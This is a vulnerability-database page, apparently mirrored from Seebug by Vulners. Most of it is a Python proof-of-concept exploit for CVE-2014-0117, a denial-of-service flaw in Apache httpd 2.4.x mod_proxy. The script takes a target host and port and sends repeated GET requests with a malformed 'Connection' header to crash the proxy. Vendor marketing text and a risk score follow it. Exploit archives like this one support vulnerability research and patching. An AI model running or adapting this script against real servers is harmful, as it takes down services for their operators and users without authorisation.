Lucene search
K

Apache 2.4.x mod_proxy 拒绝服务攻击 PoC

🗓️ 24 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 748 Views

Apache mod_proxy Denial Of Service(CVE-2014-0117) exploit on Apache 2.4.

Related
Code

                                                # Exploit Title: Apache 2.4.x mod_proxy Denial Of Service(CVE-2014-0117)
# Date: 2014-07-20
# Exploit Author: aisyhi
# Version: 0.1
# Apache httpd 2.4.6 to 2.4.9
# Tested on: Apache/2.4.7
# CVE : CVE-2014-0117

import httplib
import logging
import time
import socket
import sys
import os

debug = False
socket.setdefaulttimeout(3)
httplib.HTTPConnection.debuglevel = 1 if debug else 0
packet = 0

print "======================================================================"
print u"Apache 2.4.x mod_proxy Denial Of Service(CVE-2014-0117)"
print "======================================================================"

if len(sys.argv) < 2:
    print "Usage: python CVE-2014-0117.py [target ip] [target port]\n"
    print "Example: python CVE-2014-0117 127.0.0.1\n"
    sys.exit(1)
else:
    host = sys.argv[1].lower()
    try:
        port = int(sys.argv[2])
    except:
        port = 80

while packet <= 10:
    try:
        con = httplib.HTTPConnection(host, port)
        con.putrequest('GET', '/')
        con.putheader('User-Agent', "curl/7.30.0")
        con.putheader('Accept', "*/*")
        con.putheader('Connection', ";")
        con.endheaders()
    except:
        print "Connection error!"
        sys.exit(1)

    try:
        resp = con.getresponse()
        print(resp.status, resp.reason)

    except socket.timeout:
        print "[*] Socket timeout?"

    except:
        print "[*] Knock knock, is anybody there ? (" + str(packet) + "/10)"

    packet = packet + 1

    con.close()

print "[+] Done!"
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jul 2014 00:00Current
7.2High risk
Vulners AI Score7.2
EPSS0.56996
748